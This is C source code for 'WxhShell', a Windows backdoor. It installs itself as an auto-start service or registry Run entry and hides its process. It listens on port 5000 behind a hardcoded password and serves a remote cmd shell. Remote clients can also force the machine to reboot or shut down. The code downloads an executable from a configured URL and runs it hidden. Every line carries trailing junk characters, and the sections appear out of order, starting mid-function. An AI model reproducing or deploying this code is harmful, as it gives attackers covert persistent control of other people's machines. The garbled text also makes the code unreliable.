    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1Q-O&\-xg  
    if(Boot(SHUTDOWN)) =P>c1T1-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cbsU!8  
    else { |-kU]NJFR  
    closesocket(wsh); 3!]S8Y*LQP  
    ExitThread(0); |cKo#nfzZ  
    } DdO$&/`)YP  
    break; N pu#.)G  
    } [wKnJu  
  // 获取shell kC~\D?8E=  
  case 's': { zl~`>  
    CmdShell(wsh); 6R_G{AWLL  
    closesocket(wsh); dk}T&qZ~p  
    ExitThread(0); g?Jx99c;  
    break; /*,hR>UG  
  } `rt?n|*QF  
  // 退出 Hqsj5j2i  
  case 'x': { 9em?2'ysa  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y"5>O|`  
    CloseIt(wsh); c*iZ6j"iI  
    break; w,uyN  
    } .7lDJ2  
  // 离开 rDr3)*H?0  
  case 'q': { H\W/;Nn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9UF^h{X  
    closesocket(wsh); %=C49(/K_  
    WSACleanup(); e6O+hC]:  
    exit(1); !yxb=>A  
    break; k;aV4 0N9  
        } ZV:cg v  
  } f]N.$,:$  
  } T_T@0`7  
!{hC99q6  
  // 提示信息 c -1Hxd YD  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~CTe5PX c  
} zB,Vi-)vH  
  } vE4ce  
P[E:=p  
  return; frsqnvm;+  
} mBb;:-5  
Yfro^}f  
// shell模块句柄 _wvSLu<q  
int CmdShell(SOCKET sock) w0`aW6t#  
{ _T[7N|'O  
STARTUPINFO si; a g=,oYn  
ZeroMemory(&si,sizeof(si)); G.ag$KF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; }V@ * :3w8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1^F !X=  
PROCESS_INFORMATION ProcessInfo; AC`4n|,zJ;  
char cmdline[]="cmd"; Atdr|2  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ey icMy`7{  
  return 0; 5G$sP,n  
} #2&DDy)B f  
M}jF-z  
// 自身启动模式 f8Z[prfP  
int StartFromService(void) a?635*9K  
{ tXlo27J  
typedef struct 1Z. D3@  
{ 4$HU=]b6Tf  
  DWORD ExitStatus; gmFCjs  
  DWORD PebBaseAddress; soSdlV{  
  DWORD AffinityMask; /iz{NulOz*  
  DWORD BasePriority; PAYbsn  
  ULONG UniqueProcessId; D/& 8[Z/Cn  
  ULONG InheritedFromUniqueProcessId; >gQJ6q  
}   PROCESS_BASIC_INFORMATION; }@+3QHwYU  
uL.)+E  
PROCNTQSIP NtQueryInformationProcess; ]Tv0+ Ao  
|Z ), OW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; $ NNd4d*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;"d>lyL  
O7]p `Xi8  
  HANDLE             hProcess; |@Cx%aEKU  
  PROCESS_BASIC_INFORMATION pbi; zk#NM"C+  
% ~!A,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 2h_XfY'3pX  
  if(NULL == hInst ) return 0; P1gW+*?  
YU*u!  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6a_MA*XK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UaW,#P  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @/(\YzQvp]  
H> zX8qP+  
  if (!NtQueryInformationProcess) return 0; n\X'2  
)qyJw N .D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +JDQ`Qk  
  if(!hProcess) return 0; SVJL|S 3k  
O %x<  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [:vH_(|  
4Lg!54P8  
  CloseHandle(hProcess); eootH K  
]$4DhB  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QQ*` tmy  
if(hProcess==NULL) return 0; o#p{0y  
RB,`I#z1f  
HMODULE hMod; @ PboT1  
char procName[255]; /Qa'\X,f3  
unsigned long cbNeeded; yniXb2iM  
lKtA.{(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); c >8I M  
8 ztVv   
  CloseHandle(hProcess); fN!ci']  
:NHP,"  
if(strstr(procName,"services")) return 1; // 以服务启动 pm)kocG  
w)nFH)f  
  return 0; // 注册表启动 5c 8tH=  
} C i?BJ,  
E}YJGFB7"  
// 主模块 jyLE  
int StartWxhshell(LPSTR lpCmdLine) l0 Eh?  
{ ZqONK^  
  SOCKET wsl; PU& v{gn  
BOOL val=TRUE; B4l*]K%  
  int port=0; -2D/RE7|  
  struct sockaddr_in door; CXAW>VdK_  
nfj8z@!  
  if(wscfg.ws_autoins) Install(); ls;!Og9  
5 ]c\{G  
port=atoi(lpCmdLine); 80'!XKSP  
=yR$^VSY  
if(port<=0) port=wscfg.ws_port; KxA ^?,t[  
>'/KOK"  
  WSADATA data; o(gEyK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \ #yKCA';  
=x &"aF1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gpvzOW/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qk+RZ>T<o  
  door.sin_family = AF_INET; ep,"@,,  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); C>MEgGP  
  door.sin_port = htons(port); p%ve1>c  
VR'R7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { GR%h3HO2&  
closesocket(wsl); I:l/U-b7h  
return 1; VZhHO d  
} 5s7C;+  
z1AYXW6F  
  if(listen(wsl,2) == INVALID_SOCKET) { Qm(KvL5  
closesocket(wsl); G`D~OI  
return 1; [ Q@rW5,-  
} _aaQ1A`p  
  Wxhshell(wsl); KUE}^/%z  
  WSACleanup(); G/)]aGr  
)<~v~|re  
return 0; U!TSAg21P  
crDm2oA~t  
} J#/L}h;qH  
##\ <mFE  
// 以NT服务方式启动 Xc}~_.]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ((AsZ$[S  
{ bTd94  
DWORD   status = 0; ,B'n0AO/'  
  DWORD   specificError = 0xfffffff; pm4'2B|)g  
F7"v}K]X  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9kO}054  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; # o;\5MOE%  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (fTi1 I!  
  serviceStatus.dwWin32ExitCode     = 0; )q8!:Z  
  serviceStatus.dwServiceSpecificExitCode = 0; OL2 b  
  serviceStatus.dwCheckPoint       = 0; /[FES 78p  
  serviceStatus.dwWaitHint       = 0; _!K@( dl  
Qt~QJJN?oF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tK0Ksnl^  
  if (hServiceStatusHandle==0) return; (rT1wup  
-#y^$$i0  
status = GetLastError(); {L#+v~d^'n  
  if (status!=NO_ERROR) 4iPxtVT  
{ X }""= S<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; wvnuE<o8  
    serviceStatus.dwCheckPoint       = 0; d%(4s~y  
    serviceStatus.dwWaitHint       = 0; 9*ek5vPB  
    serviceStatus.dwWin32ExitCode     = status; |PaVb4j  
    serviceStatus.dwServiceSpecificExitCode = specificError; {[[j.)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !uxma~ZH-  
    return; jTh^#Q  
  } g.:b\JE`  
kw$*o k  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; b]oPx8*'  
  serviceStatus.dwCheckPoint       = 0; `at>X&Ce,  
  serviceStatus.dwWaitHint       = 0; ,UA-Pq3 }  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @&F\M}  
} T!ik"YZ@i  
a{y"vVQOF  
// 处理NT服务事件,比如:启动、停止 0{k*SCN#  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4f-I,)qCBk  
{ O Bp&64  
switch(fdwControl) *S?vw'n  
{ !C>'a:  
case SERVICE_CONTROL_STOP: >&-" X# :  
  serviceStatus.dwWin32ExitCode = 0; }|-Yd"$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 9C"d7--  
  serviceStatus.dwCheckPoint   = 0; ';J><z{>  
  serviceStatus.dwWaitHint     = 0; {sR|W:fS$  
  { 79y'PFSms  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b'mp$lt!  
  } [CAV"u)0  
  return; sI% =G3o=  
case SERVICE_CONTROL_PAUSE: ?>}&,:U}   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N NTUl$  
  break; 5n#@,V.O/  
case SERVICE_CONTROL_CONTINUE: a'prlXr\4  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; B.ar!*X  
  break; "l7))>lL  
case SERVICE_CONTROL_INTERROGATE: dp=#|!jc  
  break; Lk8NjK6  
}; 8EC$p} S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); O @)D%*;v  
} 0'nY  
Ed ,O>(  
// 标准应用程序主函数 T!3_Q/~^r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `ZLA=oD  
{  dl;  
]4 q6N  
// 获取操作系统版本 _ rIFwT1]  
OsIsNt=GetOsVer(); \|< 5zL  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 3A)Ec/;~  
]R7zvcu&  
  // 从命令行安装 t9Y?0O}/  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ip&Q'"HYj  
lr-:o@q{  
  // 下载执行文件 kA/V=xO<  
if(wscfg.ws_downexe) { \66j4?H#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0<4Sw j3s7  
  WinExec(wscfg.ws_filenam,SW_HIDE); m! H7;S-(  
} #>[5NQ;$'  
!tckE\ h#N  
if(!OsIsNt) { 1XD|H_JG<j  
// 如果时win9x,隐藏进程并且设置为注册表启动 TxDzGC  
HideProc(); kE*OjywN  
StartWxhshell(lpCmdLine); QmRE<i  
} +u[?8D7Y  
else zSM;N^X8?  
  if(StartFromService()) (Tbw@BFk  
  // 以服务方式启动 5:6]ZFW  
  StartServiceCtrlDispatcher(DispatchTable); @, %IVKg\  
else 18{" @<wIs  
  // 普通方式启动 Q4!6|%n8v  
  StartWxhshell(lpCmdLine); vb1Gz]~)>  
[;*Vm0>t  
return 0; 4&a,7uVer  
}  ET:B"  
!ZC0n`  
t w?\bB  
")?NCun>  
=========================================== A"W}l)+X  
gZ&' J\  
C?47v4n-'  
0{'%j~"  
X GhV? tA  
W%.ou\GN^t  
" %@4/W  N  
;~ , <8  
#include <stdio.h> >~)IsQ*%  
#include <string.h> mok%TK  
#include <windows.h> U%)m [zAw  
#include <winsock2.h> * U#@M3g.  
#include <winsvc.h> >Vl8ZQ8  
#include <urlmon.h> gXThdNU4G  
o;\c$|TNU  
#pragma comment (lib, "Ws2_32.lib") U 2@Mxw  
#pragma comment (lib, "urlmon.lib") Dw-i!dq  
Ohe* m[  
#define MAX_USER   100 // 最大客户端连接数 WG\gf\=I  
#define BUF_SOCK   200 // sock buffer V {H/>>k7  
#define KEY_BUFF   255 // 输入 buffer [WxRwE  
(}:n#|,{M  
#define REBOOT     0   // 重启 o 2Okc><z  
#define SHUTDOWN   1   // 关机 Y#[>j4<T  
bo%v(  
#define DEF_PORT   5000 // 监听端口 oY$L  
oPVyLD  
#define REG_LEN     16   // 注册表键长度 D3i`ehh  
#define SVC_LEN     80   // NT服务名长度 sKU?"|G81G  
,*}5xpX  
// 从dll定义API 7Rix=*  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @Y8/#6KE  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); e_{!8u.+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u>U4w68  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \XI9 +::%  
057$b!A-a  
// wxhshell配置信息 h~zG*B5F  
struct WSCFG { |m5 E%E  
  int ws_port;         // 监听端口 qV`JZ\n  
  char ws_passstr[REG_LEN]; // 口令 `OP?[ f d  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?*ni5\y5o  
  char ws_regname[REG_LEN]; // 注册表键名 rt5eN:'qY  
  char ws_svcname[REG_LEN]; // 服务名 wWU5]v  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o"5[~$O  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oF9c>^s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息  #Lq{_Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^%<t^sE  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" !"e~HZmr  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 OYC\+ =  
4EB&Zmg[K  
}; 1G6MO  
|>2IgTh1a  
// default Wxhshell configuration zLa3Q\T  
struct WSCFG wscfg={DEF_PORT, [Q+qu>&HB7  
    "xuhuanlingzhe", RaNz)]+7`  
    1,  iNxuQ7~  
    "Wxhshell", 6QC=:_M;  
    "Wxhshell", 7KzMa%=  
            "WxhShell Service", `AO<r  
    "Wrsky Windows CmdShell Service", /j0zb&  
    "Please Input Your Password: ", zJJ6"9sl  
  1, w`?Rd  
  "http://www.wrsky.com/wxhshell.exe", V&>\U?q:  
  "Wxhshell.exe" <P"4Mk7`s  
    }; ;& PK6G  
$^1L|KgXp  
// 消息定义模块  KOQ9K  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OSsxO(;g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aYyUe>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; },=0]tvZG#  
char *msg_ws_ext="\n\rExit."; `Rc7*2I)l  
char *msg_ws_end="\n\rQuit."; d*A(L5;@  
char *msg_ws_boot="\n\rReboot..."; uv,_?x\'  
char *msg_ws_poff="\n\rShutdown..."; mm5y'=#  
char *msg_ws_down="\n\rSave to "; 3nJd0E  
U =G^w L  
char *msg_ws_err="\n\rErr!"; H"g$qSx  
char *msg_ws_ok="\n\rOK!"; jD eNCJ  
%%w/;o!c  
char ExeFile[MAX_PATH]; jW G=k#WN  
int nUser = 0; / W,K% s]  
HANDLE handles[MAX_USER]; i(k]}Di:  
int OsIsNt; 8sV_@<l<X  
aeBA`ry"B  
SERVICE_STATUS       serviceStatus; K[XFJ9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; )E2^G)J$W  
i{$h]D_fD  
// 函数声明 ,z1fiq  
int Install(void); DG&[.dR+  
int Uninstall(void); JvZNr?_w%  
int DownloadFile(char *sURL, SOCKET wsh); Jrkj foN  
int Boot(int flag); $m:4'r  
void HideProc(void); D<m+M@u  
int GetOsVer(void); D=Pv:)*]  
int Wxhshell(SOCKET wsl); a V4p0s6ZZ  
void TalkWithClient(void *cs); u*<G20~A  
int CmdShell(SOCKET sock); K^_Mt!%  
int StartFromService(void); 1YklPMx6  
int StartWxhshell(LPSTR lpCmdLine); /<Doe SDJ|  
TyCMZsvM,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); NNt,J;  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); J"x M[c2  
x-e?94}^  
// 数据结构和表定义 RQ1`k,R=  
SERVICE_TABLE_ENTRY DispatchTable[] = o~*5FN}%+l  
{ 'Si 1r%'m#  
{wscfg.ws_svcname, NTServiceMain}, '<v/Gl\  
{NULL, NULL} c QjzI#  
}; Wy'H4Rg8  
a^*@j:[  
// 自我安装 #h 4`f  
int Install(void) ![v@+9  
{ w;;.bz m  
  char svExeFile[MAX_PATH]; -cjwa-9 ~  
  HKEY key; =H F||p@  
  strcpy(svExeFile,ExeFile); {iv!A=jld  
r#K;@wu2  
// 如果是win9x系统,修改注册表设为自启动 |Q'l&Gt6  
if(!OsIsNt) { @Ik@1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4}~zVT0'~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }/%(7Ff{  
  RegCloseKey(key); ^}-(8~_en  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {ER%r'(4Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }- Jw"|^W  
  RegCloseKey(key); DJtKLG0  
  return 0; ;(kU:b|j  
    } l+>&-lX'  
  } ?T\m V}  
} l"\W]'T:r  
else { \gh`P S-B  
WrR97]7t  
// 如果是NT以上系统,安装为系统服务 ?]fd g;?@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !~{AF|2f  
if (schSCManager!=0) .Jt&6N  
{ =Of!1TR(  
  SC_HANDLE schService = CreateService *N0R3da  
  ( 1,p[4k~Ww  
  schSCManager, S >PTD@  
  wscfg.ws_svcname, );^] is~  
  wscfg.ws_svcdisp, GHMoT  
  SERVICE_ALL_ACCESS, "G8w}n:y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8q6b3q:c  
  SERVICE_AUTO_START, 7kBULeBn|  
  SERVICE_ERROR_NORMAL, u"%i3%Yjh  
  svExeFile, kQR kby  
  NULL, X^PR];V:$  
  NULL, 0;Y|Ua[G+~  
  NULL, uLw$`ihw  
  NULL, !!=%ty  
  NULL ):. +u=  
  ); S.9ki<  
  if (schService!=0) ("t; 2Mw  
  { (9N75uCa  
  CloseServiceHandle(schService); wn'_;0fg  
  CloseServiceHandle(schSCManager); 3 ;F=EMz{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); sLV bFN`  
  strcat(svExeFile,wscfg.ws_svcname); ^AWM/aY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { GdqT4a\S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oEHUb?(p  
  RegCloseKey(key); NXv u}&H  
  return 0; \ORNOX:  
    } $vS`w4Y  
  } N/A.1W  
  CloseServiceHandle(schSCManager); OT_w<te  
} 5@$b@jTd  
} M]?#]3XBNo  
"+js7U-  
return 1; -f.<s!a  
} Tc6H%itV  
PrIS L[@  
// 自我卸载 !b"#`O%`  
int Uninstall(void) E%M~:JuKd?  
{ 3_Su5~^  
  HKEY key; JLsy|}>  
8v6YOG"b q  
if(!OsIsNt) {  Efsfuv  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w0x%7mg@  
  RegDeleteValue(key,wscfg.ws_regname); UW+|1Bj_:  
  RegCloseKey(key); R qS2Qo]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #\G{2\R  
  RegDeleteValue(key,wscfg.ws_regname); zof>S>5>R7  
  RegCloseKey(key); A f@IsCOJ  
  return 0; 1"r6qYN!>  
  } }bG|(Wp9  
} nT0FonK>  
} @0q%&v0  
else { Mg.xGST  
iHo2=Cz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &|7pu=  
if (schSCManager!=0) )1a3W7  
{ 8>Hnv]p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d,|W  
  if (schService!=0) L$7 NT}L  
  { I U/HYBJH  
  if(DeleteService(schService)!=0) { 1(`>9t02/?  
  CloseServiceHandle(schService); U:eahK  
  CloseServiceHandle(schSCManager); ?d1H]f<M  
  return 0; T?W`g> yM  
  } 3 tMFJ ;*`  
  CloseServiceHandle(schService); @x">e][B  
  } KaC+x-%K  
  CloseServiceHandle(schSCManager); *<2+tI  
} vLW&/YJ6  
} jb8v3L  
iIwMDlQ "  
return 1; _r8.I9|  
} qZlb?b"  
l6.z-Qw  
// 从指定url下载文件 NAjK0]SRY  
int DownloadFile(char *sURL, SOCKET wsh) T~UKWAKX}  
{ RYD V60*O6  
  HRESULT hr; _f%Wk>A4  
char seps[]= "/"; =$UDa`}D  
char *token; Kw}-<y  
char *file; 4,kT4_&,  
char myURL[MAX_PATH]; 08&DP^NS  
char myFILE[MAX_PATH]; N^A&DrMF  
/#M|)V*wn  
strcpy(myURL,sURL); *P&ZE   
  token=strtok(myURL,seps);  Hq h  
  while(token!=NULL) *p{wC r  
  { 8Letpygm  
    file=token; WRQJ6B  
  token=strtok(NULL,seps); ;2 oR?COW  
  } NaC^q*>9  
hf rF7{yj  
GetCurrentDirectory(MAX_PATH,myFILE); "gXz{$q  
strcat(myFILE, "\\"); /i|T\  
strcat(myFILE, file); R_ojK&%  
  send(wsh,myFILE,strlen(myFILE),0); b>AFhj:  
send(wsh,"...",3,0); 0jO]+BI1  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); F.mS,W]  
  if(hr==S_OK) 8moX"w\~_h  
return 0; [)|P-x-<  
else |a#4  
return 1; QT/TZ:  
++-\^'&1  
} 0n+Wv @/  
U@dztX@u  
// 系统电源模块 r# 5))q-  
int Boot(int flag) 3Xaw  
{ _B)LRD+Hj  
  HANDLE hToken; I~EQuQ>=  
  TOKEN_PRIVILEGES tkp; jQOY\1SR  
` /JJ\`Pu  
  if(OsIsNt) { pPm[<^\#S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Tm@d;O'E1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); IB:Wh;_x  
    tkp.PrivilegeCount = 1; pb_+_(/c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TOV531   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {~ ZSqd  
if(flag==REBOOT) { FLJdnL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) k6-Q3W[+a  
  return 0; E~]8>U?V  
} ^Humy DD6  
else { P& C,EE$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E^_P  
  return 0; x]lv:m\)jT  
} w1EYXe  
  } S P)$K=  
  else { =1fO"|L  
if(flag==REBOOT) { g<O*4 ]=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) -Y%#z'^-  
  return 0; {XiBRs e  
} ncf=S(G+  
else { e&?o  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g,U~3#   
  return 0; MjNCn&c  
} %>}6>nT#  
} ^?(A|krFg  
M%+l21&  
return 1; {.O Bcx  
} o0^'x Vv  
a(s}Ec${Z  
// win9x进程隐藏模块 _Dl!iV05:  
void HideProc(void) e~jw YImA  
{ 'WkDp a  
'n% Ac&kk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7(lR$,bE;=  
  if ( hKernel != NULL ) *; . l/  
  { :Eq=wbAw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); S#dkJu]]#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 2628 c`  
    FreeLibrary(hKernel); Fyoy)y*  
  } )h&s.k  
bvzeU n  
return; h" cLZM:6  
} :ak D  
NJSzOL_  
// 获取操作系统版本 sF^3KJ|  
int GetOsVer(void) 7$x~}*u  
{ ao>bnRXR  
  OSVERSIONINFO winfo; B5pM cw  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); h.FC:ym"  
  GetVersionEx(&winfo); ww82)m8  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t=J\zyX!  
  return 1; 2KMLpO&De  
  else |5S/h{gq  
  return 0; a@Tn_yX  
} l j*ELy  
<n< @ O5  
// 客户端句柄模块 fRC(Yyx  
int Wxhshell(SOCKET wsl) gsd9QW  
{ &#aQ mgDF  
  SOCKET wsh; >lQ&^9EI%  
  struct sockaddr_in client; 2 |w;4  
  DWORD myID; GJW+'-f  
T1m'+^?"  
  while(nUser<MAX_USER) t QkEJ pj  
{ $>1 'pV  
  int nSize=sizeof(client); WH2?_U-8h  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); xcr=AhqM  
  if(wsh==INVALID_SOCKET) return 1; q/~U[.C  
SHS:>V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); rXXIpQRi$S  
if(handles[nUser]==0) [,)yc/{*  
  closesocket(wsh); De,4r(5  
else @=q,,t$r  
  nUser++; e|u|b  
  } b}4k-hZL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  Hi#'h  
2GQ q(_  
  return 0; VQF!|*#  
} B4 5B`Ay  
Y\luz`v  
// 关闭 socket &n+3^JNl  
void CloseIt(SOCKET wsh) j%Mz;m4y  
{ pvM;2  
closesocket(wsh); :L<$O7  
nUser--; i|+ EC_^<  
ExitThread(0); 8`}(N^=}  
} Z\6&5r=  
qG3 [5lti  
// 客户端请求句柄 jXq~ x"(  
void TalkWithClient(void *cs) xevG)m  
{ -]"=b\Q  
),%/T,!@  
  SOCKET wsh=(SOCKET)cs; |E$Jt-'  
  char pwd[SVC_LEN]; 5&q@;vR  
  char cmd[KEY_BUFF]; {bnNY  
char chr[1]; o.U$\9MNP  
int i,j; 4} uX[~e&  
#=/eu=  
  while (nUser < MAX_USER) { Y, K): ~T  
$by-?z((  
if(wscfg.ws_passstr) {  ^! /7  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l4u@0;6P  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); V!G&Aen  
  //ZeroMemory(pwd,KEY_BUFF); z5IHcZ  
      i=0; 4K`N3  
  while(i<SVC_LEN) { q#wg2  
?T-6|vZA  
  // 设置超时 OJ$169@;  
  fd_set FdRead; X_|W#IM*+  
  struct timeval TimeOut; 6He7A@Eh  
  FD_ZERO(&FdRead); 2/S~l;x  
  FD_SET(wsh,&FdRead); 0HK03&  
  TimeOut.tv_sec=8; 0/P!rH9  
  TimeOut.tv_usec=0; iOz<n z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yo*c& >  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); MN\/F4Io  
g/,fjM_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JG&`l{c9  
  pwd=chr[0]; *u.6,jw  
  if(chr[0]==0xd || chr[0]==0xa) { Wh[+cH"M  
  pwd=0; H6?ZE  
  break; Z0T{1YEJ  
  } b3}928!D-@  
  i++; FrD.{(/~  
    } s mub> V  
Ry*NRP;  
  // 如果是非法用户,关闭 socket -}|GkTM  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OD<0,r0f,  
} tdg.vYMDPC  
W Da;wt  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); I7b(fc-r  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZxkX\gl91  
,t5X'sY L  
while(1) { *9)7.} uY  
'Y3>+7bI  
  ZeroMemory(cmd,KEY_BUFF); _.0c~\VA  
aVvi_cau  
      // 自动支持客户端 telnet标准   p'1n'|$e  
  j=0; E 5}T_~-{  
  while(j<KEY_BUFF) { @-~YQ@08`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *0M#{HQ  
  cmd[j]=chr[0]; 8[5%l7's  
  if(chr[0]==0xa || chr[0]==0xd) { *9e T#dH  
  cmd[j]=0; AfW63;kH  
  break; hH:7  
  } Nw $io8:d  
  j++; vc o/h  
    } i.2O~30ST  
~L Gkc t  
  // 下载文件 ElAJR4'{*i  
  if(strstr(cmd,"http://")) { )%%RI_J T  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); cAC2Xq  
  if(DownloadFile(cmd,wsh)) eU_|.2  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); fEc}c.!5  
  else a%f{mP$m  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nk=F.fp|/  
  } x-+[gNc 6  
  else { ;>[).fX>/  
